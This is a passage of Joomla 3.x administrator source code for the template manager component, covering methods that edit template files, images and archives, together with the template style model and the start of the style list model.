			$app    = JFactory::getApplication();
			$client = JApplicationHelper::getClientInfo($template->client_id);
			$path   = JPath::clean($client->path . '/templates/' . $template->element . '/' . $location);

			if (!file_exists($path))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FOLDER_NOT_EXISTS'), 'error');

				return false;
			}

			$return = JFolder::delete($path);

			if (!$return)
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_DELETE_ERROR'), 'error');

				return false;
			}

			return true;
		}
	}

	/**
	 * Rename a file.
	 *
	 * @param   string  $file  The name and location of the old file
	 * @param   string  $name  The new name of the file.
	 *
	 * @return  string  Encoded string containing the new file location.
	 *
	 * @since   3.2
	 */
	public function renameFile($file, $name)
	{
		if ($template = $this->getTemplate())
		{
			$app          = JFactory::getApplication();
			$client       = JApplicationHelper::getClientInfo($template->client_id);
			$path         = JPath::clean($client->path . '/templates/' . $template->element . '/');
			$fileName     = base64_decode($file);
			$explodeArray = explode('.', $fileName);
			$type         = end($explodeArray);
			$explodeArray = explode('/', $fileName);
			$newName      = str_replace(end($explodeArray), $name . '.' . $type, $fileName);

			if (file_exists($path . $newName))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_EXISTS'), 'error');

				return false;
			}

			if (!rename($path . $fileName, $path . $newName))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_RENAME_ERROR'), 'error');

				return false;
			}

			return base64_encode($newName);
		}
	}

	/**
	 * Get an image address, height and width.
	 *
	 * @return  array an associative array containing image address, height and width.
	 *
	 * @since   3.2
	 */
	public function getImage()
	{
		if ($template = $this->getTemplate())
		{
			$app      = JFactory::getApplication();
			$client   = JApplicationHelper::getClientInfo($template->client_id);
			$fileName = base64_decode($app->input->get('file'));
			$path     = JPath::clean($client->path . '/templates/' . $template->element . '/');

			if (stristr($client->path, 'administrator') == false)
			{
				$folder = '/templates/';
			}
			else
			{
				$folder = '/administrator/templates/';
			}

			$uri = JUri::root(true) . $folder . $template->element;

			if (file_exists(JPath::clean($path . $fileName)))
			{
				$JImage = new JImage(JPath::clean($path . $fileName));
				$image['address'] = $uri . $fileName;
				$image['path']    = $fileName;
				$image['height']  = $JImage->getHeight();
				$image['width']   = $JImage->getWidth();
			}

			else
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_IMAGE_FILE_NOT_FOUND'), 'error');

				return false;
			}

			return $image;
		}
	}

	/**
	 * Crop an image.
	 *
	 * @param   string  $file  The name and location of the file
	 * @param   string  $w     width.
	 * @param   string  $h     height.
	 * @param   string  $x     x-coordinate.
	 * @param   string  $y     y-coordinate.
	 *
	 * @return  boolean     true if image cropped successfully, false otherwise.
	 *
	 * @since   3.2
	 */
	public function cropImage($file, $w, $h, $x, $y)
	{
		if ($template = $this->getTemplate())
		{
			$app      = JFactory::getApplication();
			$client   = JApplicationHelper::getClientInfo($template->client_id);
			$relPath  = base64_decode($file);
			$path     = JPath::clean($client->path . '/templates/' . $template->element . '/' . $relPath);

			try
			{
				$image      = new \JImage($path);
				$properties = $image->getImageFileProperties($path);

				switch ($properties->mime)
				{
					case 'image/png':
						$imageType = \IMAGETYPE_PNG;
						break;
					case 'image/gif':
						$imageType = \IMAGETYPE_GIF;
						break;
					default:
						$imageType = \IMAGETYPE_JPEG;
				}

				$image->crop($w, $h, $x, $y, false);
				$image->toFile($path, $imageType);

				return true;
			}
			catch (Exception $e)
			{
				$app->enqueueMessage($e->getMessage(), 'error');
			}
		}
	}

	/**
	 * Resize an image.
	 *
	 * @param   string  $file    The name and location of the file
	 * @param   string  $width   The new width of the image.
	 * @param   string  $height  The new height of the image.
	 *
	 * @return   boolean  true if image resize successful, false otherwise.
	 *
	 * @since   3.2
	 */
	public function resizeImage($file, $width, $height)
	{
		if ($template = $this->getTemplate())
		{
			$app     = JFactory::getApplication();
			$client  = JApplicationHelper::getClientInfo($template->client_id);
			$relPath = base64_decode($file);
			$path    = JPath::clean($client->path . '/templates/' . $template->element . '/' . $relPath);

			try
			{
				$image      = new \JImage($path);
				$properties = $image->getImageFileProperties($path);

				switch ($properties->mime)
				{
					case 'image/png':
						$imageType = \IMAGETYPE_PNG;
						break;
					case 'image/gif':
						$imageType = \IMAGETYPE_GIF;
						break;
					default:
						$imageType = \IMAGETYPE_JPEG;
				}

				$image->resize($width, $height, false, \JImage::SCALE_FILL);
				$image->toFile($path, $imageType);

				return true;
			}
			catch (Exception $e)
			{
				$app->enqueueMessage($e->getMessage(), 'error');
			}
		}
	}

	/**
	 * Template preview.
	 *
	 * @return  object  object containing the id of the template.
	 *
	 * @since   3.2
	 */
	public function getPreview()
	{
		$app = JFactory::getApplication();
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		$query->select('id, client_id');
		$query->from('#__template_styles');
		$query->where($db->quoteName('template') . ' = ' . $db->quote($this->template->element));

		$db->setQuery($query);

		try
		{
			$result = $db->loadObject();
		}
		catch (RuntimeException $e)
		{
			$app->enqueueMessage($e->getMessage(), 'warning');
		}

		if (empty($result))
		{
			$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_EXTENSION_RECORD_NOT_FOUND'), 'warning');
		}
		else
		{
			return $result;
		}
	}

	/**
	 * Rename a file.
	 *
	 * @return  mixed  array on success, false on failure
	 *
	 * @since   3.2
	 */
	public function getFont()
	{
		if ($template = $this->getTemplate())
		{
			$app          = JFactory::getApplication();
			$client       = JApplicationHelper::getClientInfo($template->client_id);
			$relPath      = base64_decode($app->input->get('file'));
			$explodeArray = explode('/', $relPath);
			$fileName     = end($explodeArray);
			$path         = JPath::clean($client->path . '/templates/' . $template->element . '/' . $relPath);

			if (stristr($client->path, 'administrator') == false)
			{
				$folder = '/templates/';
			}
			else
			{
				$folder = '/administrator/templates/';
			}

			$uri = JUri::root(true) . $folder . $template->element;

			if (file_exists(JPath::clean($path)))
			{
				$font['address'] = $uri . $relPath;

				$font['rel_path'] = $relPath;

				$font['name'] = $fileName;
			}

			else
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FONT_FILE_NOT_FOUND'), 'error');

				return false;
			}

			return $font;
		}
	}

	/**
	 * Copy a file.
	 *
	 * @param   string  $newName   The name of the copied file
	 * @param   string  $location  The final location where the file is to be copied
	 * @param   string  $file      The name and location of the file
	 *
	 * @return   boolean  true if image resize successful, false otherwise.
	 *
	 * @since   3.2
	 */
	public function copyFile($newName, $location, $file)
	{
		if ($template = $this->getTemplate())
		{
			$app          = JFactory::getApplication();
			$client       = JApplicationHelper::getClientInfo($template->client_id);
			$relPath      = base64_decode($file);
			$explodeArray = explode('.', $relPath);
			$ext          = end($explodeArray);
			$path         = JPath::clean($client->path . '/templates/' . $template->element . '/');
			$newPath      = JPath::clean($path . '/' . $location . '/' . $newName . '.' . $ext);

			if (file_exists($newPath))
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_EXISTS'), 'error');

				return false;
			}

			if (JFile::copy($path . $relPath, $newPath))
			{
				$app->enqueueMessage(JText::sprintf('COM_TEMPLATES_FILE_COPY_SUCCESS', $newName . '.' . $ext));

				return true;
			}
			else
			{
				return false;
			}
		}
	}

	/**
	 * Get the compressed files.
	 *
	 * @return   array if file exists, false otherwise
	 *
	 * @since   3.2
	 */
	public function getArchive()
	{
		if ($template = $this->getTemplate())
		{
			$app     = JFactory::getApplication();
			$client  = JApplicationHelper::getClientInfo($template->client_id);
			$relPath = base64_decode($app->input->get('file'));
			$path    = JPath::clean($client->path . '/templates/' . $template->element . '/' . $relPath);

			if (file_exists(JPath::clean($path)))
			{
				$files = array();
				$zip = new ZipArchive;

				if ($zip->open($path) === true)
				{
					for ($i = 0; $i < $zip->numFiles; $i++)
					{
						$entry = $zip->getNameIndex($i);
						$files[] = $entry;
					}
				}
				else
				{
					$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_ARCHIVE_OPEN_FAIL'), 'error');

					return false;
				}
			}
			else
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FONT_FILE_NOT_FOUND'), 'error');

				return false;
			}

			return $files;
		}
	}

	/**
	 * Extract contents of an archive file.
	 *
	 * @param   string  $file  The name and location of the file
	 *
	 * @return  boolean  true if image extraction is successful, false otherwise.
	 *
	 * @since   3.2
	 */
	public function extractArchive($file)
	{
		if ($template = $this->getTemplate())
		{
			$app          = JFactory::getApplication();
			$client       = JApplicationHelper::getClientInfo($template->client_id);
			$relPath      = base64_decode($file);
			$explodeArray = explode('/', $relPath);
			$fileName     = end($explodeArray);
			$folderPath   = stristr($relPath, $fileName, true);
			$path         = JPath::clean($client->path . '/templates/' . $template->element . '/' . $folderPath . '/');

			if (file_exists(JPath::clean($path . '/' . $fileName)))
			{
				$zip = new ZipArchive;

				if ($zip->open(JPath::clean($path . '/' . $fileName)) === true)
				{
					for ($i = 0; $i < $zip->numFiles; $i++)
					{
						$entry = $zip->getNameIndex($i);

						if (file_exists(JPath::clean($path . '/' . $entry)))
						{
							$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_ARCHIVE_EXISTS'), 'error');

							return false;
						}
					}

					$zip->extractTo($path);

					return true;
				}
				else
				{
					$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_ARCHIVE_OPEN_FAIL'), 'error');

					return false;
				}
			}
			else
			{
				$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_ARCHIVE_NOT_FOUND'), 'error');

				return false;
			}
		}
	}

	/**
	 * Check if the extension is allowed and will be shown in the template manager
	 *
	 * @param   string  $ext  The extension to check if it is allowed
	 *
	 * @return  boolean  true if the extension is allowed false otherwise
	 *
	 * @since   3.6.0
	 */
	protected function checkFormat($ext)
	{
		if (!isset($this->allowedFormats))
		{
			$params       = JComponentHelper::getParams('com_templates');
			$imageTypes   = explode(',', $params->get('image_formats'));
			$sourceTypes  = explode(',', $params->get('source_formats'));
			$fontTypes    = explode(',', $params->get('font_formats'));
			$archiveTypes = explode(',', $params->get('compressed_formats'));

			$this->allowedFormats = array_merge($imageTypes, $sourceTypes, $fontTypes, $archiveTypes);
		}

		return in_array($ext, $this->allowedFormats);
	}
}
com_templates/models/style.php000060400000043360152455305270012546 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Template style model.
 *
 * @since  1.6
 */
class TemplatesModelStyle extends JModelAdmin
{
	/**
	 * The help screen key for the module.
	 *
	 * @var	    string
	 * @since   1.6
	 */
	protected $helpKey = 'JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT';

	/**
	 * The help screen base URL for the module.
	 *
	 * @var     string
	 * @since   1.6
	 */
	protected $helpURL;

	/**
	 * Item cache.
	 *
	 * @var    array
	 * @since  1.6
	 */
	private $_cache = array();

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 */
	public function __construct($config = array())
	{
		$config = array_merge(
			array(
				'event_before_delete' => 'onExtensionBeforeDelete',
				'event_after_delete'  => 'onExtensionAfterDelete',
				'event_before_save'   => 'onExtensionBeforeSave',
				'event_after_save'    => 'onExtensionAfterSave',
				'events_map'          => array('delete' => 'extension', 'save' => 'extension')
			), $config
		);

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * @note    Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('administrator');

		// Load the User state.
		$pk = $app->input->getInt('id');
		$this->setState('style.id', $pk);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_templates');
		$this->setState('params', $params);
	}

	/**
	 * Method to delete rows.
	 *
	 * @param   array  &$pks  An array of item ids.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   1.6
	 * @throws  Exception
	 */
	public function delete(&$pks)
	{
		$pks        = (array) $pks;
		$user       = JFactory::getUser();
		$table      = $this->getTable();
		$dispatcher = JEventDispatcher::getInstance();
		$context    = $this->option . '.' . $this->name;

		JPluginHelper::importPlugin($this->events_map['delete']);

		// Iterate the items to delete each one.
		foreach ($pks as $pk)
		{
			if ($table->load($pk))
			{
				// Access checks.
				if (!$user->authorise('core.delete', 'com_templates'))
				{
					throw new Exception(JText::_('JERROR_CORE_DELETE_NOT_PERMITTED'));
				}

				// You should not delete a default style
				if ($table->home != '0')
				{
					JError::raiseWarning(500, JText::_('COM_TEMPLATES_STYLE_CANNOT_DELETE_DEFAULT_STYLE'));

					return false;
				}

				// Trigger the before delete event.
				$result = $dispatcher->trigger($this->event_before_delete, array($context, $table));

				if (in_array(false, $result, true) || !$table->delete($pk))
				{
					$this->setError($table->getError());

					return false;
				}

				// Trigger the after delete event.
				$dispatcher->trigger($this->event_after_delete, array($context, $table));
			}
			else
			{
				$this->setError($table->getError());

				return false;
			}
		}

		// Clean cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to duplicate styles.
	 *
	 * @param   array  &$pks  An array of primary key IDs.
	 *
	 * @return  boolean  True if successful.
	 *
	 * @throws  Exception
	 */
	public function duplicate(&$pks)
	{
		$user = JFactory::getUser();

		// Access checks.
		if (!$user->authorise('core.create', 'com_templates'))
		{
			throw new Exception(JText::_('JERROR_CORE_CREATE_NOT_PERMITTED'));
		}

		$dispatcher = JEventDispatcher::getInstance();
		$context    = $this->option . '.' . $this->name;

		// Include the plugins for the save events.
		JPluginHelper::importPlugin($this->events_map['save']);

		$table = $this->getTable();

		foreach ($pks as $pk)
		{
			if ($table->load($pk, true))
			{
				// Reset the id to create a new record.
				$table->id = 0;

				// Reset the home (don't want dupes of that field).
				$table->home = 0;

				// Alter the title.
				$m = null;
				$table->title = $this->generateNewTitle(null, null, $table->title);

				if (!$table->check())
				{
					throw new Exception($table->getError());
				}

				// Trigger the before save event.
				$result = $dispatcher->trigger($this->event_before_save, array($context, &$table, true));

				if (in_array(false, $result, true) || !$table->store())
				{
					throw new Exception($table->getError());
				}

				// Trigger the after save event.
				$dispatcher->trigger($this->event_after_save, array($context, &$table, true));
			}
			else
			{
				throw new Exception($table->getError());
			}
		}

		// Clean cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to change the title.
	 *
	 * @param   integer  $categoryId  The id of the category.
	 * @param   string   $alias       The alias.
	 * @param   string   $title       The title.
	 *
	 * @return  string  New title.
	 *
	 * @since   1.7.1
	 */
	protected function generateNewTitle($categoryId, $alias, $title)
	{
		// Alter the title
		$table = $this->getTable();

		while ($table->load(array('title' => $title)))
		{
			$title = StringHelper::increment($title);
		}

		return $title;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// The folder and element vars are passed when saving the form.
		if (empty($data))
		{
			$item	   = $this->getItem();
			$clientId  = $item->client_id;
			$template  = $item->template;
		}
		else
		{
			$clientId  = ArrayHelper::getValue($data, 'client_id');
			$template  = ArrayHelper::getValue($data, 'template');
		}

		// Add the default fields directory
		$baseFolder = $clientId ? JPATH_ADMINISTRATOR : JPATH_SITE;
		JForm::addFieldPath($baseFolder . '/templates/' . $template . '/field');

		// These variables are used to add data from the plugin XML files.
		$this->setState('item.client_id', $clientId);
		$this->setState('item.template', $template);

		// Get the form.
		$form = $this->loadForm('com_templates.style', 'style', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		// Modify the form based on access controls.
		if (!$this->canEditState((object) $data))
		{
			// Disable fields for display.
			$form->setFieldAttribute('home', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('home', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_templates.edit.style.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_templates.style', $data);

		return $data;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 */
	public function getItem($pk = null)
	{
		$pk = (!empty($pk)) ? $pk : (int) $this->getState('style.id');

		if (!isset($this->_cache[$pk]))
		{
			// Get a row instance.
			$table = $this->getTable();

			// Attempt to load the row.
			$return = $table->load($pk);

			// Check for a table object error.
			if ($return === false && $table->getError())
			{
				$this->setError($table->getError());

				return false;
			}

			// Convert to the JObject before adding other data.
			$properties        = $table->getProperties(1);
			$this->_cache[$pk] = ArrayHelper::toObject($properties, 'JObject');

			// Convert the params field to an array.
			$registry = new Registry($table->params);
			$this->_cache[$pk]->params = $registry->toArray();

			// Get the template XML.
			$client = JApplicationHelper::getClientInfo($table->client_id);
			$path   = JPath::clean($client->path . '/templates/' . $table->template . '/templateDetails.xml');

			if (file_exists($path))
			{
				$this->_cache[$pk]->xml = simplexml_load_file($path);
			}
			else
			{
				$this->_cache[$pk]->xml = null;
			}
		}

		return $this->_cache[$pk];
	}

	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 */
	public function getTable($type = 'Style', $prefix = 'TemplatesTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to allow derived classes to preprocess the form.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @throws  Exception if there is an error in the form event.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		$clientId = $this->getState('item.client_id');
		$template = $this->getState('item.template');
		$lang     = JFactory::getLanguage();
		$client   = JApplicationHelper::getClientInfo($clientId);

		if (!$form->loadFile('style_' . $client->name, true))
		{
			throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
		}

		jimport('joomla.filesystem.path');

		$formFile = JPath::clean($client->path . '/templates/' . $template . '/templateDetails.xml');

		// Load the core and/or local language file(s).
			$lang->load('tpl_' . $template, $client->path, null, false, true)
		||	$lang->load('tpl_' . $template, $client->path . '/templates/' . $template, null, false, true);

		if (file_exists($formFile))
		{
			// Get the template form.
			if (!$form->loadFile($formFile, false, '//config'))
			{
				throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
			}
		}

		// Disable home field if it is default style

		if ((is_array($data) && array_key_exists('home', $data) && $data['home'] == '1')
			|| (is_object($data) && isset($data->home) && $data->home == '1'))
		{
			$form->setFieldAttribute('home', 'readonly', 'true');
		}

		// Attempt to load the xml file.
		if (!$xml = simplexml_load_file($formFile))
		{
			throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
		}

		// Get the help data from the XML file if present.
		$help = $xml->xpath('/extension/help');

		if (!empty($help))
		{
			$helpKey = trim((string) $help[0]['key']);
			$helpURL = trim((string) $help[0]['url']);

			$this->helpKey = $helpKey ?: $this->helpKey;
			$this->helpURL = $helpURL ?: $this->helpURL;
		}

		// Trigger the default form events.
		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 */
	public function save($data)
	{
		// Detect disabled extension
		$extension = JTable::getInstance('Extension');

		if ($extension->load(array('enabled' => 0, 'type' => 'template', 'element' => $data['template'], 'client_id' => $data['client_id'])))
		{
			$this->setError(JText::_('COM_TEMPLATES_ERROR_SAVE_DISABLED_TEMPLATE'));

			return false;
		}

		$app        = JFactory::getApplication();
		$dispatcher = JEventDispatcher::getInstance();
		$table      = $this->getTable();
		$pk         = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('style.id');
		$isNew      = true;

		// Include the extension plugins for the save events.
		JPluginHelper::importPlugin($this->events_map['save']);

		// Load the row if saving an existing record.
		if ($pk > 0)
		{
			$table->load($pk);
			$isNew = false;
		}

		if ($app->input->get('task') == 'save2copy')
		{
			$data['title']    = $this->generateNewTitle(null, null, $data['title']);
			$data['home']     = 0;
			$data['assigned'] = '';
		}

		// Bind the data.
		if (!$table->bind($data))
		{
			$this->setError($table->getError());

			return false;
		}

		// Prepare the row for saving
		$this->prepareTable($table);

		// Check the data.
		if (!$table->check())
		{
			$this->setError($table->getError());

			return false;
		}

		// Trigger the before save event.
		$result = $dispatcher->trigger($this->event_before_save, array('com_templates.style', &$table, $isNew));

		// Store the data.
		if (in_array(false, $result, true) || !$table->store())
		{
			$this->setError($table->getError());

			return false;
		}

		$user = JFactory::getUser();

		if ($user->authorise('core.edit', 'com_menus') && $table->client_id == 0)
		{
			$n    = 0;
			$db   = $this->getDbo();
			$user = JFactory::getUser();

			if (!empty($data['assigned']) && is_array($data['assigned']))
			{
				$data['assigned'] = ArrayHelper::toInteger($data['assigned']);

				// Update the mapping for menu items that this style IS assigned to.
				$query = $db->getQuery(true)
					->update('#__menu')
					->set('template_style_id = ' . (int) $table->id)
					->where('id IN (' . implode(',', $data['assigned']) . ')')
					->where('template_style_id != ' . (int) $table->id)
					->where('checked_out IN (0,' . (int) $user->id . ')');
				$db->setQuery($query);
				$db->execute();
				$n += $db->getAffectedRows();
			}

			// Remove style mappings for menu items this style is NOT assigned to.
			// If unassigned then all existing maps will be removed.
			$query = $db->getQuery(true)
				->update('#__menu')
				->set('template_style_id = 0');

			if (!empty($data['assigned']))
			{
				$query->where('id NOT IN (' . implode(',', $data['assigned']) . ')');
			}

			$query->where('template_style_id = ' . (int) $table->id)
				->where('checked_out IN (0,' . (int) $user->id . ')');
			$db->setQuery($query);
			$db->execute();

			$n += $db->getAffectedRows();

			if ($n > 0)
			{
				$app->enqueueMessage(JText::plural('COM_TEMPLATES_MENU_CHANGED', $n));
			}
		}

		// Clean the cache.
		$this->cleanCache();

		// Trigger the after save event.
		$dispatcher->trigger($this->event_after_save, array('com_templates.style', &$table, $isNew));

		$this->setState('style.id', $table->id);

		return true;
	}

	/**
	 * Method to set a template style as home.
	 *
	 * @param   integer  $id  The primary key ID for the style.
	 *
	 * @return  boolean  True if successful.
	 *
	 * @throws	Exception
	 */
	public function setHome($id = 0)
	{
		$user = JFactory::getUser();
		$db   = $this->getDbo();

		// Access checks.
		if (!$user->authorise('core.edit.state', 'com_templates'))
		{
			throw new Exception(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));
		}

		$style = JTable::getInstance('Style', 'TemplatesTable');

		if (!$style->load((int) $id))
		{
			throw new Exception(JText::_('COM_TEMPLATES_ERROR_STYLE_NOT_FOUND'));
		}

		// Detect disabled extension
		$extension = JTable::getInstance('Extension');

		if ($extension->load(array('enabled' => 0, 'type' => 'template', 'element' => $style->template, 'client_id' => $style->client_id)))
		{
			throw new Exception(JText::_('COM_TEMPLATES_ERROR_SAVE_DISABLED_TEMPLATE'));
		}

		// Reset the home fields for the client_id.
		$query = $db->getQuery(true)
			->update('#__template_styles')
			->set('home = ' .  $db->q('0'))
			->where('client_id = ' . (int) $style->client_id)
			->where('home = ' . $db->q('1'));
		$db->setQuery($query);
		$db->execute();

		// Set the new home style.
		$query = $db->getQuery(true)
			->update('#__template_styles')
			->set('home = ' . $db->q('1'))
			->where('id = ' . (int) $id);
		$db->setQuery($query);
		$db->execute();

		// Clean the cache.
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to unset a template style as default for a language.
	 *
	 * @param   integer  $id  The primary key ID for the style.
	 *
	 * @return  boolean  True if successful.
	 *
	 * @throws	Exception
	 */
	public function unsetHome($id = 0)
	{
		$user = JFactory::getUser();
		$db   = $this->getDbo();

		// Access checks.
		if (!$user->authorise('core.edit.state', 'com_templates'))
		{
			throw new Exception(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));
		}

		// Lookup the client_id.
		$query = $db->getQuery(true)
			->select('client_id, home')
			->from('#__template_styles')
			->where('id = ' . (int) $id);
		$db->setQuery($query);
		$style = $db->loadObject();

		if (!is_numeric($style->client_id))
		{
			throw new Exception(JText::_('COM_TEMPLATES_ERROR_STYLE_NOT_FOUND'));
		}
		elseif ($style->home == '1')
		{
			throw new Exception(JText::_('COM_TEMPLATES_ERROR_CANNOT_UNSET_DEFAULT_STYLE'));
		}

		// Set the new home style.
		$query = $db->getQuery(true)
			->update('#__template_styles')
			->set('home = ' . $db->q('0'))
			->where('id = ' . (int) $id);
		$db->setQuery($query);
		$db->execute();

		// Clean the cache.
		$this->cleanCache();

		return true;
	}

	/**
	 * Get the necessary data to load an item help screen.
	 *
	 * @return  object  An object with key, url, and local properties for loading the item help screen.
	 *
	 * @since   1.6
	 */
	public function getHelp()
	{
		return (object) array('key' => $this->helpKey, 'url' => $this->helpURL);
	}

	/**
	 * Custom clean cache method
	 *
	 * @param   string   $group     The cache group
	 * @param   integer  $clientId  The ID of the client
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		parent::cleanCache('com_templates');
		parent::cleanCache('_system');
	}
}
com_templates/models/styles.php000060400000015232152455305270012726 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Methods supporting a list of template style records.
 *
 * @since  1.6
 */
class TemplatesModelStyles extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'template', 'a.template',
				'home', 'a.home',
				'menuitem',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.template', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.template', $this->getUserStateFromRequest($this->context . '.filter.template', 'filter_template', '', 'string'));
		$this->setState('filter.menuitem', $this->getUserStateFromRequest($this->context . '.filter.menuitem', 'filter_menuitem', '', 'cmd'));

		// Special case for the client id.
		$clientId = (int) $this->getUserStateFromRequest($this->context . '.client_id', 'client_id', 0, 'int');
		$clientId = (!in_array($clientId, array (0, 1))) ? 0 : $clientId;
		$this->setState('client_id', $clientId);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_templates');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('client_id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.template');
		$id .= ':' . $this->getState('filter.menuitem');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 */
	protected function getListQuery()
	{
		$clientId = (int) $this->getState('client_id');

		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.id, a.template, a.title, a.home, a.client_id, l.title AS language_title, l.image as image, l.sef AS language_sef'
			)
		);
		$query->from($db->quoteName('#__template_styles', 'a'))
			->where($db->quoteName('a.client_id') . ' = ' . $clientId);

		// Join on menus.
		$query->select('COUNT(m.template_style_id) AS assigned')
			->join('LEFT', $db->quoteName('#__menu', 'm') . ' ON ' . $db->quoteName('m.template_style_id') . ' = ' . $db->quoteName('a.id'))
			->group('a.id, a.template, a.title, a.home, a.client_id, l.title, l.image, e.extension_id, l.sef');

		// Join over the language.
		$query->join('LEFT', $db->quoteName('#__languages', 'l') . ' ON ' . $db->quoteName('l.lang_code') . ' = ' . $db->quoteName('a.home'));

		// Filter by extension enabled.
		$query->select($db->quoteName('extension_id', 'e_id'))
			->join('LEFT', $db->quoteName('#__extensions', 'e') . ' ON e.element = a.template AND e.client_id = a.client_id')
			->where($db->quoteName('e.enabled') . ' = 1')
			->where($db->quoteName('e.type') . ' = ' . $db->quote('template'));

		// Filter by template.
		if ($template = $this->getState('filter.template'))
		{
			$query->where($db->quoteName('a.template') . ' = ' . $db->quote($template));
		}

		// Filter by menuitem.
		$menuItemId = $this->getState('filter.menuitem');

		if ($clientId === 0 && is_numeric($menuItemId))
		{
			// If user selected the templates styles that are not assigned to any page.
			if ((int) $menuItemId === -1)
			{
				// Only custom template styles overrides not assigned to any menu item.
				$query->where($db->quoteName('a.home') . ' = ' . $db->quote(0))
					->where($db->quoteName('m.id') . ' IS NULL');
			}
			// If user selected the templates styles assigned to particular pages.
			else
			{
